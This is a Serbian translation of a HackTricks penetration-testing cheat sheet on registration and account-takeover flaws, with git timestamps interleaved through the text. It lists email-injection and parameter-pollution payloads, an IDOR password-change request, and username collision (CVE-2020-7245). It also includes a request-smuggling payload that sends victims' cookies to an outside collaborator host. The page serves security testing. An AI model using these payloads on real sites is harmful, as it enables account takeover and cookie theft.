2024-02-10 13:11:20 +00:00
# Registracija i ranjivosti preuzimanja
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-02-03 14:45:32 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* Otkrijte [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2022-04-28 16:01:33 +00:00
< / details >
2024-02-10 13:11:20 +00:00
## Preuzimanje registracije
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
### Dupliranje registracije
2021-06-27 14:55:59 +00:00
2024-02-10 13:11:20 +00:00
* Pokušajte generisati koristeći postojeće korisničko ime
* Proverite variranje e-pošte:
* velika slova
* \+1@
* dodajte tačku u e-poštu
* posebni karakteri u imenu e-pošte (%00, %09, %20)
* Stavite crne karaktere posle e-pošte: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
2021-06-27 14:55:59 +00:00
2024-02-10 13:11:20 +00:00
### Enumeracija korisničkog imena
2021-06-27 14:55:59 +00:00
2024-02-10 13:11:20 +00:00
Proverite da li možete saznati kada je korisničko ime već registrovano unutar aplikacije.
2021-06-27 14:55:59 +00:00
2024-02-10 13:11:20 +00:00
### Politika lozinke
2021-06-27 14:55:59 +00:00
2024-02-10 13:11:20 +00:00
Prilikom kreiranja korisnika proverite politiku lozinke (proverite da li možete koristiti slabe lozinke).\
U tom slučaju možete pokušati napasti lozinke metodom brute force.
2021-06-27 14:55:59 +00:00
2023-02-16 16:03:36 +00:00
### SQL Injection
2021-06-27 14:55:59 +00:00
2024-02-10 13:11:20 +00:00
[**Proverite ovu stranicu** ](sql-injection/#insert-statement )da biste naučili kako pokušati preuzeti naloge ili izvući informacije putem **SQL Injection** -a u registracionim formama.
2021-06-27 14:55:59 +00:00
2024-02-10 13:11:20 +00:00
### Preuzimanje Oauth-a
2021-06-27 14:55:59 +00:00
2023-02-16 18:26:56 +00:00
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md ](oauth-to-account-takeover.md )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-06-27 14:55:59 +00:00
2024-02-10 13:11:20 +00:00
### SAML ranjivosti
2021-06-27 14:55:59 +00:00
2021-10-18 11:21:18 +00:00
{% content-ref url="saml-attacks/" %}
[saml-attacks ](saml-attacks/ )
{% endcontent-ref %}
2021-06-27 15:43:01 +00:00
2024-02-10 13:11:20 +00:00
### Promena e-pošte
2021-06-27 15:43:01 +00:00
2024-02-10 13:11:20 +00:00
Kada se registrujete, pokušajte promeniti e-poštu i proverite da li se ova promena pravilno validira ili možete promeniti na proizvoljne e-pošte.
2021-06-27 14:55:59 +00:00
2024-02-10 13:11:20 +00:00
### Dodatne provere
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
* Proverite da li možete koristiti **privremene e-pošte**
* **Dugačka** **lozinka** (>200) dovodi do **DoS** -a
* **Proverite ograničenja brzine pri kreiranju naloga**
* Koristite username@**burp\_collab**.net i analizirajte **callback**
2021-11-30 00:17:48 +00:00
```powershell
# parameter pollution
email=victim@mail.com& email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
2024-02-10 13:11:20 +00:00
### IDOR na API parametrima <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
1. Napadač se mora prijaviti sa svojim nalogom i otići na funkcionalnost **Promena lozinke** .
2. Pokrenite Burp Suite i presretnite zahtev.
3. Pošaljite ga na karticu "repeater" i izmenite parametre: ID korisnika/e-pošta\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
### Slab token za resetovanje lozinke <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
Token za resetovanje lozinke treba da bude nasumično generisan i jedinstven svaki put.\
Pokušajte da utvrdite da li token ističe ili je uvek isti, u nekim slučajevima algoritam generisanja je slab i može se pogoditi. Sledeće promenljive mogu biti korišćene od strane algoritma.
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
* Vremenska oznaka
* ID korisnika
* E-pošta korisnika
* Ime i prezime
* Datum rođenja
* Kriptografija
* Samo brojevi
* Mala sekvencija tokena (karakteri između \[A-Z,a-z,0-9])
* Ponovna upotreba tokena
* Datum isteka tokena
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
### Otkrivanje tokena za resetovanje lozinke <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
1. Pokrenite zahtev za resetovanje lozinke koristeći API/UI za određenu e-poštu, na primer: test@mail.com
2. Pregledajte odgovor servera i proverite da li postoji `resetToken`
3. Zatim koristite token u URL-u kao što je `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
### Resetovanje lozinke putem kolizije korisničkog imena <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
1. Registrujte se na sistemu sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa belinama ubačenim pre i/ili posle korisničkog imena, na primer: `"admin "`
2. Zatražite resetovanje lozinke sa zlonamernim korisničkim imenom.
3. Koristite token poslat na vašu e-poštu i resetujte lozinku žrtve.
4. Prijavite se na nalog žrtve sa novom lozinkom.
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
Platforma CTFd je bila ranjiva na ovaj napad.\
Vidi: [CVE-2020-7245 ](https://nvd.nist.gov/vuln/detail/CVE-2020-7245 )
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
### Preuzimanje naloga putem Cross Site Scripting-a <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
1. Pronađite XSS unutar aplikacije ili poddomena ako su kolačići ograničeni na nadređenu domenu: `*.domain.com`
2. Otkrijte trenutni **kolačić sesije**
3. Autentifikujte se kao korisnik koristeći kolačić
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
### Preuzimanje naloga putem HTTP Request Smuggling-a <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
1\. Koristite **smuggler** da biste otkrili vrstu HTTP Request Smuggling-a (CL, TE, CL.TE)\
2021-11-30 00:17:48 +00:00
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h` \
2024-02-10 13:11:20 +00:00
2\. Kreirajte zahtev koji će prebrisati `POST / HTTP/1.1` sa sledećim podacima:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` sa ciljem preusmeravanja žrtava na burpcollab i krađe njihovih kolačića\
3\. Konačan zahtev može izgledati ovako
2021-11-30 00:17:48 +00:00
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
2024-02-10 13:11:20 +00:00
Hackerone izveštaji o iskorišćavanju ove greške\
2021-11-30 00:17:48 +00:00
\* [https://hackerone.com/reports/737140 ](https://hackerone.com/reports/737140 )\
\* [https://hackerone.com/reports/771666 ](https://hackerone.com/reports/771666 )
2024-02-10 13:11:20 +00:00
### Preuzimanje naloga putem CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
1. Kreirajte payload za CSRF, npr. "HTML formu sa automatskim slanjem za promenu lozinke"
2. Pošaljite payload
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
### Preuzimanje naloga putem JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
JSON Web Token može se koristiti za autentifikaciju korisnika.
2021-11-30 00:17:48 +00:00
2024-02-10 13:11:20 +00:00
* Izmenite JWT sa drugim korisničkim ID-em / Email-om
* Proverite da li postoji slab potpis JWT-a
2021-11-30 00:17:48 +00:00
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md ](hacking-jwt-json-web-tokens.md )
{% endcontent-ref %}
2024-02-10 13:11:20 +00:00
## Reference
2021-11-30 00:17:48 +00:00
* [https://salmonsec.com/cheatsheet/account\_takeover ](https://salmonsec.com/cheatsheet/account\_takeover )
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-02-03 14:45:32 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* Otkrijte [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2022-04-28 16:01:33 +00:00
< / details >